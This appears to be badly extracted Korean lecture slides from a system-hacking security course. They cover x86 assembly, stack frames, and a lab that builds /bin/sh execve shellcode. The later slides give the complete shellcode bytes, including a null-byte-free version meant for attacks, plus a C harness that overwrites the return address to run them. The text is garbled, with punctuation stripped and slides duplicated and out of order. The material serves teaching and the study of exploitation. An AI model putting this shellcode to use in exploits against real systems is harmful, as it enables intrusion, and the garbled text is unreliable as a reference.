movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 48: 80×86  시스템에 대한 이해

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

